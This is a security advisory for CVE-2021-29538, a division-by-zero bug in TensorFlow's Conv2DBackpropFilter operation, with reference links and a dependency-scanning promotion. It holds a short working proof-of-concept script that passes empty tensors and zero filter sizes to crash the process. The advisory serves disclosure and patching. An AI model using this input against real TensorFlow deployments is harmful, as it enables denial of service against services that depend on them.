CVE-2021-29538: Division by zero in `Conv2DBackpropFilter`
(updated )
An attacker can cause a division by zero to occur in Conv2DBackpropFilter
:
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 1, 1, 1],
use_cudnn_on_gpu=False,
padding='SAME',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
References
- github.com/advisories/GHSA-j8qc-5fqr-52fp
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-466.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-664.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-175.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96
- github.com/tensorflow/tensorflow/security/advisories/GHSA-j8qc-5fqr-52fp
- nvd.nist.gov/vuln/detail/CVE-2021-29538
Detect and mitigate CVE-2021-29538 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →